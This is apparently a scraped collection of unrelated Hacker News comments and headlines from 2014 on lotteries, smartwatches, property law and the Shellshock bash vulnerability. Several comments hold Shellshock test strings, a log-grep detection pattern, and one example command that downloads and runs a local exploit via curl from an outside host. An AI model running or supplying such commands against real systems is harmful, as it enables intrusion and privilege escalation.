skysight-inc/HackerNews huggingface dataset:
Ahh, they missed a trick. Where Apple is going to kill them isn't even on functionality, but customizability. That's especially ironic considering it's iOS vs Android.
You can disagree, but your disagreement is based on incorrect assumptions about the availability, reliability and proximity of public transit, work to housing, etc. Your "specific story" that you think is "rare" isn't as rare as you think it is.
Not impressed by the design of this at all.
This is the article's key insight:

“It’s not an investment. It’s entertainment. For a very small amount of money you might change your life. For $2 you can spend the day dreaming about what you would do with half a billion dollars—half a billion dollars!”

You're not making a bet with negative expected value, you're purchasing an entertaining daydream to help you through your miserable day.
Golang is an evolutionary dead end. It missed out on the last 25 years of language research.

I'm following Rust more closely because it has new ideas for systems programming. Go has no new ideas.
Core.logic and SQL Killed My ORM
My grandparents consider going to a casino entertainment, and expect to lose the money they go in with. It's fun, and sometimes they fund their next few trips there with the winnings.
You can tail your access.log and grep the expression "\(?\s_\s\)?\s{|cgi" to get an idea if someone is trying to exploit your webserver. The cgi part will return a lot of false positives, but if you cannot disable cgi, you might as well track it being requested.
Wait, what? I know DHCP clients have had exploits but those were of the more mundane buffer overflows/range checking type; there are DHCP clients implemented in bash? Something doesn't seem right about that - AFAIK DHCP data like IPs and so forth are binary, not text.

Edit: just saw https://news.ycombinator.com/item?id=8367086 - may look into that a little more.
It's not so much that I want a round smartwatch, but that I know I don't want a rectangular one, because to me they're an aesthetically unpleasing sacrifice of form for function.

I'm sure a watch that was 6 inches wide and went halfway up my forearm like a gauntlet would be awesome to type on and read email, but I wouldn't wear it because it'd be super ugly.
What's the ratio of lottery winners who bought their tickets vs the number of lottery winners who found their tickets on the ground?
By large I just meant a project which houses multiple components. Of course the term 'large' is subjective.
Thanks!

EDIT after OP's edit.

Sad. This situation feels kind of a disaster-relief thing; not a good time to think about monetizing it. Still, I do understand you don't want people thinking you'll always be protecting them from everything even if they don't pay.

EDIT2 after clarification downthread, previous edit is to be disregarded.
Sadly, for most compiled languages the semantics will be completely different when being interpreted.
What would really sell me is if there was some hardcore copywriter/marketer behind it as well... that coupled with your great design skills would sell me!
Your OS vendors security list.
Wire-tapping lawsuit against Google could equal billions in damages
Pity Google choose "Go" instead of "Golang" for their programming language. There were already another "Go!". And they built it from scratch so they could choose whatever name instead of a common English word.
U2, Bendygate and iOS 8.0.1: Apple's banana skins
> If the city / state is forcing the owner open the beach to the public, why does the guy have to pay liability insurance?

He doesn't. He chooses to, because insurance is more regular and predictable than the risk of liability.

> He should try to seek declaratory judgment that he's not voluntarily opening the land to the public, and therefore the state must indemnify him for any liability created by doing so.

That would likely be a waste of the money that he was paying to his lawyer to pursue such a suit; the law at issue was in place when he purchased the property, so the effect it had on the value of the property (including any associated liability risk) was part of what he chose to purchase.

> For that matter, if someone's not allowed to restrict access to their property, is it really their property at all, or is it the state's property?

"Property" is always a limited set of rights with respect to the subject of the property interest granted by the state.

> I'm no lawyer, but it looks like he's got a good case the state has de facto taken his property away from him, and he's owed compensation under the US Constitution.

Had he owned the property prior to the relevant laws being passed in the 1970s, there'd be some argument to be made that he had been subject to a taking. But he didn't buy the property until 2008, so, insofar as any public taking occurred with the public acccess provisions, they occurred prior to his taking ownership and were priced into the sale when the prior owner sold the property to Khosla. So, there's no reason even if the coastal laws were a regulatory taking, that Khosla would be entitled to any compensation. Khosla -- by virtue of the effect of the restriction on the market price of the land -- would be a beneficiary of the taking, not a victim.
Caffeine is killing your productivity
I constantly see studies and opinions for both sides of this coin. I was never much of a coffee drinker, but now I am. I still think in moderation when you need a boost it is better than anything.

However, the points made in this article I can definitely related to.
no, you need to use the exec* family function to start a process without invoking the shell. Take care, it does not really start a new program. It replaces the current executing program. So, you will need to fork beforehand.
Why pay for it though? I can daydream that a billionaire will randomly decide to give me half his fortune, for free!
Is that question really necessary?
Er yes I can. I want to know what is new since the 1971 orbiter success, and why India cannot put a rover on Mars.
Well, the Notes app on Mavericks uses Core Data. I know it's a trivial example but it's the first one I found.

(~/Library/Containers/com.apple.Notes/Data/Notes/NotesV2.storedata is a Core Data SQLite store.)
I tried this and it didn't work on my Ubuntu machine, it echoed "stuff".
env X="() { :;} ; echo busted" /bin/sh -c "echo stuff"

But then I tried this command and it echoed "vulnerable".
env var='() { ignore this;}; echo vulnerable' bash -c /bin/true
I've only been using this structure for say, an app and an API. I haven't tried it with say caching vm's or a message server thrown in the mix.

Your idea about using Nix might be worth me looking into next! It kinda feels like spinning plates trying to organise vm's and codebases haha.

I thought this structure might be a good start for new comers though :)
have you pointed /bin/sh and /bin/bash at it?
It's exactly the same as going to the cinema and enjoying the cost of the movie tickets and popcorn there. Why would anyone go to the cinema?

Pro-tip: When a telemarketer calls saying "We've got a great offer to save you money on your snarfleblarg bills!" just tell them you enjoy you enjoy spending as much money as possible on your snarfleblarg. It goes so far off their script that i've never had one of them provide a decent response to it. At which point you hang up.
Seeing it's an art project, I see the "rat race" analogy.
It's one of the few places where the majority of the people either writing the posts or being written about are also the members doing the commenting. I think timezone may be a factor as well; I've made comments which were highly upvoted throughout the day, only to be decimated over the evening. So what your seeing as a parody of itself, I see as different gravity wells of opinion that present at different times. Who sees the story first often dictates the initial run. We'll see a woman in tech article loaded with borderline sexist comments against women, then a singular voice pops up and says how disappointed they are in the community. That gets voted to the top. It's routine, and it's essentially what happened to this article.
Is anyone able to get the echo test to pass after updating AWS bash?
cPanel's official notice is that they checked and their code is not vulnerable (at least, whatever their current code is).

Of course it's possible that other CGI apps will execute a shell at some point, and that there's bound to be plenty of servers that are exploitable. But the number of SSL-bearing sites, and the sheer number of users (I mean, hundreds of millions, at least) that were exposed due to such gigantic sites having a huge hole for so long, meant that virtually everyone's personal information was vulnerable, immediately, to say nothing of stealing SSL keys.

This is definitely a serious bug. Any remote code execution is a top priority. But i've never seen a bug like Heartbleed before, and it's unlikely we ever will again, as (hopefully?) it will change the way forward services are deployed to implement proper memory protection between transport and application layers. Compared to exposing the personal information (and secured keys) of so many users and domains, just executing code on miscellaneous servers seems cute in comparison.
- Everything the government does is more expensive than that same thing done by the free market (this is by definition, as the government creates bureaucracy around each of its endeavors)

- Is the Mars mission the best allocation of those resources right now?

- Could this money generate more wealth, or the same wealth faster, if it were allocated elsewhere? (for instance, savings generating higher interest rates and more small business loans)

I can't understand how people think these programs are a good idea. I'm not against exploring Mars, mind you, and I think it's a good idea. But what we have to do is create incentives to encourage entrepreneurs to come up with ideas.
I could be mistaken here but it seems BLE is not only "supported" but may indeed be a requirement of all Android Wear (aka Android API level 20) devices. AFAIK every Android Wear watch has noted an Android 4.3 requirement for the paired handset, which is also the API level (18) where BLE was introduced to Android.
Note that a number of available smartwatches already have heartbeat sensors (Gear 2, Moto 360, LG G Watch R, etc). You didn't exclude this possibility, but just wanted to clarify for any who wondered.
I'm not sure if I'm defending or criticising Apple here but frankly we saw too little of the Apple Watch to really know what the interaction is like.

Right now it looks interesting but it's hard to say much more than that.
You Want to Plug What In? 5 Tips for Evaluating IoT Devices
Five of China’s Top Ten Richest Are Techies
No, you are not OK. Replace "sh" in that command with "bash" and you should still see the issue.

There is a lower likelihood that you'll see the issue, as anything which just uses sh (including the "system" function, and similar ones) will use dash indeed of Bash; but there will still be places where bash is called explicitly, including many shell scripts that depend on bash features, which are vulnerable.
Has anyone constructed this exploit as a simple `wget` command?
Like the non-standard band the Apple watch has.
It's perhaps also worth noting that Beaker's Python evaluator is an IPython kernel. So anybody who's familiar with IPython can continue using their favorite %% magics, etc.

Also, Beaker can import IPython notebooks, so it's easy to try it out and see the UI differences for yourself in the context of your actual work.
> Putting down money and expecting to get less money back is irrational, unless you're rationally pursuing some higher goal

Actually, economists assume that most people are not pursuing to maximize money, but to maximize their utility function instead. Granted, they also assume that most people are risk-averse as opposed to risk-loving, i.e. most would not risk 1 for a 50% chance of winning 2.0001. On the other hand, the economics of the lottery are such that the amount you pay (even if you play every day for your whole life) is quite negligible compared to all the money you will earn during your life; if you win, you will practically maximize the utility of a few very important things in life (earning more, and working less). I think it's rational to play the lottery.
Speaking of e-mail leaks, has Tumblr?

I started receiving spam (the dumbest, v1agra type) to tumblr@mydomain.tld which I think I have only used for tumblr and years ago since I let my account be purged at some ToS change a while back. Although I might have also used it for a service merely associated with tumblr.
India isbuilding the infrastructure that will allow them to put rovers, and possibly humans, on Mars.
This is precisely the reason why I play. I play when I know the jackpot is very high, over $100 million. Maybe around 10 times in an entire year. That's $20. How much does pizza cost? or movies? $20 is not much, and when I buy, I day dream the fuck out of it, and not just for a day. I keep the ticket for a month long or so before I look at it.
> orders of magnitude

I am not sure if you understand what that means.
Heh; I had one of those Casio calculators as a kid and I loved it. Then again, maybe that's why I got picked on so much :(
Practically speaking, there's not a lot of difference between arbitrary code execution and privilege escalation. There are a lot of local exploits for most operating systems. So once I can execute some arbitrary commands, I can simply:

curl http://www.exploits.org/local_exploit1 -o iwin; ./iwin

(or more sophisticated variants that ensure the code is executable).

Even if you assume an otherwise perfect OS, this is dangerous, because e.g. www-data can usually access more code and data than any given web app user could. So now I could (e.g.) start dumping the database, which I accessed because I found the password in a PHP file www-data has to be able to read.

Keep in mind that a lot of information is passed around with environment variables - it's what they are for (keeps the need for complex command line parsing - a source of bugs itself - down). So while everyone is tying the exploit to web servers, that is because it is a trivial example of a place input data can be turned into an environment variable. There are undoubtedly others - to a large extent shell scripts still run the world.
Best definition I've heard on the lottery and I wish it came from me.

"The lottery is a tax on the innumerate"
It should be noted that the Samsung Gear Live (one of the first two Android Wear devices from last June), as well as the Moto 360 both have a heart sensor, powered by an LED on the back of the device, just as Apple's will.
Only 2 days of battery life.

I prefer the form factor of the SmartBand, but that only has 3 days of batter life (with eink display!). I'd rather get the Garmin vivosmart which as 7 days of battery life.
Start a Subscription Service in two minutes
Love that last bullet.
I haven't seen NFC on others either
$1000 is a a huge amount of money to pay for a landing page when you can just buy a template for $5 (or get one for free?) and get a similarly nice-looking page in more or less the same amount of time, no?
Can someone explain to me what the fuss is about? I mean, e.g. the Java 7 dockerfile is 3 lines. Why is it better for me to FROM these images instead of copying those three lines into my own dockerfile?
I'd say that utility of money is a sublinear functions only for small amounts of money. When you get into the range of "never having to work again" or "can build my own rocket company", then the utility of money can quickly become superlinear (c.f. the productivity of the team is more than the sum of productivity of individuals).
Yep. It's a fashion accessory first. Not sure how Sony missed that.
Have you ever replied to a message sent to you from someone via LinkedIn? If so, it's easy to end up sharing your e-mail address with that someone, and good chance that someone has leaked the address on somewhere - whether by copying into a contact manager in their e-mail and being compromised, or letting some site or other log in to their Linked In account.
Sneaking Backstage at Hack the North to Meet Chamath and Jason
While they make many good points, they also show their cards by failing to substantiate their claims about search algorithm changes and Android Google Play lockin allegations.
Thanks for this—very insightful. I do include copywriting. For the case study, Justin already had copy that was in great shape. Other clients might not, so I'll provide writing from scratch in those cases.

As for the conversion rates, totally agree that the metric I shared is somewhat vague. Every project has different goals, and sometimes even a fraction of a percent is a major win, such as with major display advertisers.

Also, your point about showing the increase in conversions for my projects is way more powerful. Unfortunately, since this is brand new, I don't have better data to share. Hope to have some soon.
I believe it. I surprised myself playing with the Atari ST instead of the Amiga. The emulator for Atari ST seemed nice. Also while computers have surpassed the Atari ST and the Amiga in almost every front, the Atari ST is supposedly hard to beat even by today's standards when it comes to its MIDI latency.
Pretty sure $1k doesn't buy the in-depth product understanding that is required for a good landing page.
10 Online Big Data Courses
A little off topic, but am I still vulnerable?

I'm running OSX mavericks 10.9.5, use zsh as my default shell, and have a patched version of bash build from homebrew repo set as secondary in /etc/shells (on the occasion I need bash, I like to have completions). System bash is still vulnerable. With my current configuration, how worried should I be?

Any insight is appreciated!
Irrationality by definition is a big part of fun by the way.

It can be irrational if you're playing for fun!

I think there's some kind of a mistaken association between irrationality and "goodness" - like anything irrational is not good. That is what you are trying to argue against!
Sorry if this was unclear, but I do include copywriting & marketing advice in the project.
Even if this bug affects every single *NIX server in the world, it still hasn't exposed, for example, CloudFlare's private keys, or your Gmail/Yahoo mail, or the clients (and keys) connected to VPNs around the globe. Heartbleed exposed so much private information, immediately, that it was the biggest private data leak in history, and will remain so for decades.

This bash bug lets you run code, but on a much smaller number of servers, without an immediate impact on the world's most important services, and won't give up things like ssl keys without a local privilege escalation. It's much, much more limited in the scope of the immediate threat. It's still an immediate threat. I'm just saying it is nothing compared to Heartbleed.
Bullet point version of the news
Still, publishing suggested rulesets or at least sending them over to OWASP would be Good Guy.
I see how Apache passes request information through environment variables but I don't see how bash comes into play in typical CGI.

Is anyone up for educating me?

I see http request -> apache -> env variables -> php

What am I missing?
To be honest, I can't work out what part of my argument you think is wrong. Can you clarify your objection?
> Despite being a socialist in most respects, I have to agree with you. Property is either public, with the state responsible for all incidents and maintenance, or private with a landowner responsible and within their rights to control access.

It doesn't surprise me that participants in a discussion board focussed largely on the computing startups prefer things to fall into crisp binary categories, but that's not how property interests in anything have ever worked, and indeed, the whole essence of a sovereign state is that all property interests within its jurisdiction are limited sets of rights granted by and subject to the sovereign.

But, in any case, the beaches themselves in California are, under the coastal laws, effectively public property, what Khosla is compelled to do is to preserve pre-exisitng access to the public to their property through his. Such requirements are actually common in property where pre-existing access to one property (public or private) is through another private property.

[1] http://en.wikipedia.org/wiki/Easement (see, particularly, easement by necessity and easement by prior use)
The "postcode" lottery is interesting. I'm glad that it doesn't exist in the US, because I expect it would get even more people who can't actually afford it to play.
The list of people receiving pre-disclosure access is public:

http://www.xenproject.org/security-policy.html
A little more accurately and pedantically:

All HTTP servers invoking scripts over the Common Gateway Interface (CGI) put user-supplied input into environment variables as part of their invocation process, because that's what the CGI spec says to do. Many other daemons perform similar techniques to communicate with subprocesses that they spawn to do work. And when launching a new process, environment variables are (by default) copied from the parent process.

The CGI script itself is neither a daemon nor responsible for populating the environment (merely for invoking system()). Also, most HTTP servers try to go out of their way to avoid invoking shells and instead invoke CGI scripts directly, saving on overhead.

More broadly, if ANY process puts ANY client-supplied input into environment variables and subsequently that process or a subprocess happens to spawn a copy of bash by calling system(3), then you're in trouble.
Many lotteries make it hard to buy that many tickets. They may say tickets filled out by machines are invalid. Some limit how many tickets a retailer can sell in a day (for example if you know your busiest kiosk sells 2,000 tickets a day, flags are raised if someone starts selling 20,000 tickets per day).

I guess it's not fun for the regular players (who are the bread and butter of the lotteries) if a syndicate swoops in and takes the massive jackpots when the odds are in their favour.

http://www.forbes.com/sites/joshbarro/2012/03/30/can-you-eve...

mentions Virginia put limits in place after a syndicate won a jackpot after buying almost all the tickets.
Context: this is a site claiming to create landing pages with said conversion rate in a day. Landing page itself was designed in a day.

Additional context:

> My landing pages convert at over 10%. Even as high as 17%.
No, the real culprit is bash. Environment variables are a perfectly valid way to pass information around in a Unix environment. Let's not ruin the utility of environment variables because bash decided to do something idiotic with them.
Can't read the text at bottom "I wrote a popular design ebook, and write a weekly newsletter to thousands of subscribers." Green of green, and hover that link is white over light green...

Great stuff anyway, but the price put me down, at least for me, but I don't usually pay for nothing. I'm a bad customer (:
This is a consequence of trying to make the phones ridiculously thin. It doesn't just sacrifice battery life, it also reduces durability.
Shouldn't it be "madeinindia.com?" Really messy website.
To take an invention to market, MIT grad students push their academic work aside
>I can't think of many embedded devices that don't use Busybox instead.

What about all these shitty wireless routers out there? I think in the past they were QNX-based but they've long moved to being linux based. We know popular projects like dd-wrt and pfsense are probably okay (ash instead of bash), but what about the thousands of others? My own router is supplied by AT&T for its u-verse service. God knows what its running. Or all the NAS devices out there and load balancers, etc.

I guess we'll find out when the whitehats are done scanning the entire internet for vulnerable hosts.
That's not a good metaphor. If I buy crack I can get high right now, guaranteed. It's a much wiser purchase.
JetBrains Releases New Version of PHP IDE